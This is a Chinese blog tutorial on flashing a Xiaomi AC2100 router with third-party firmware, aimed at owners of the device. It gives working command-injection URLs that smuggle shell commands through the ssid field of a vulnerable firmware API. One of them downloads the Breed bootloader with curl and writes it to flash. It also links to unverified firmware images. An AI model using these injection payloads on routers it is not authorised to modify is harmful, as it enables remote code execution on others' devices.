小米AC2100最简单刷机教程

小米ac2100算是目前比较有性价比的路由器了,刷机之后稳定性和可玩性都大幅提升,但其不支持WiFi6,同时其运行内存只有128Mb,有点小,所以有些固件里的服务如果优化不好的话运行会比较吃力,不过目前一百多的价格算是可以了,从此玩游戏连WiFi再也不用担心突然卡顿了

首先拿到一个没刷过机的小米ac2100,目前刷机最简单的就是使用小米一款老官方固件,这个固件存在bug,可以让我们绕过其限制开启其后台

有漏洞固件版本为ac2100 2.0.7.*版本,下载链接为:https://strivefysfxyh.lanzoub.com/i2Rpu01dqhcf

下载后在小米路由器后台刷入,进行降级

在后台的常用设置->系统状态->手动升级  加载(降级固件

这里前提是你路由器可以联网,先接到其他路由器上去

刷完后重新加入后台,在网址里可以看到一个stok名字,把stok的内容复制下来

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A

把里面的ccccccc替换为你路由器后台网址中的stok,然后打开这个网址

在页面上会反馈一个{"code":0}的代码

然后进行坏块检查

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

打开后就会把你的wifi名称更改

路由器开机超过一小时建议先重启。运行代码后,你路由器的2.4g WiFi名称会改名成:比如  "ESMT","Toshiba","Toshiba 90 768"。 90和768是坏块。 如果ESMT或者Toshiba后面没数字,那恭喜你,没有坏块!!!

重启的过程中如果路由器在60秒内重启则代表刷BREED成功(灯会从,最终变进入系统)

成功后拔掉电源,按住reset同时接上电源等10秒即可进入breed。192.168.1.1
   如果没重启,可能是stok过期了。刷新进入后台复制新的stok即可。也有可能下载的BREED损坏,从新运行代码。也有可能没网络。

刷完后可能无法进入原厂系统,进BREED删变量:normal_firmware_md5
刷入breed之后就可以随便刷其他固件了

进入breed后台后,进breed的环境变量编缉菜单,新增字段xiaomi.r3g.bootfw值为2,其目的在于使Breed启动后从kernel1启动

然后点保存。看下图

在breed中刷新固件如下所示,勾选固件,然后点击选择文件-上传:
正常来说上传后就会自动识别固件
点击更新即可

这里要留意,如果直接刷openwrt可能会出现固件无法识别的情况,这时候需要先刷入一款底层基础固件,然后再通过固件升级的方式刷机

底层固件下载链接为:https://strivefysfxyh.lanzoub.com/iT5td01dsnde下载后在breed中刷入即可
重启完成之后,打开192.168.1.1,进入临时系统,用户名是root,没有密码
刷好后进入后台,打开这个网址:http://192.168.1.1/cgi-bin/luci/admin/system/flash  对应的菜单是System -> Backup / Flash Firmware)
选择flash image然后选择你想要刷入的openwrt固件即可
这里推荐一款pandvan的固件,简单,该有的功能都有:https://strivefysfxyh.lanzoub.com/iirAT01drmmb     
默认用户名和密码都是admin
点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注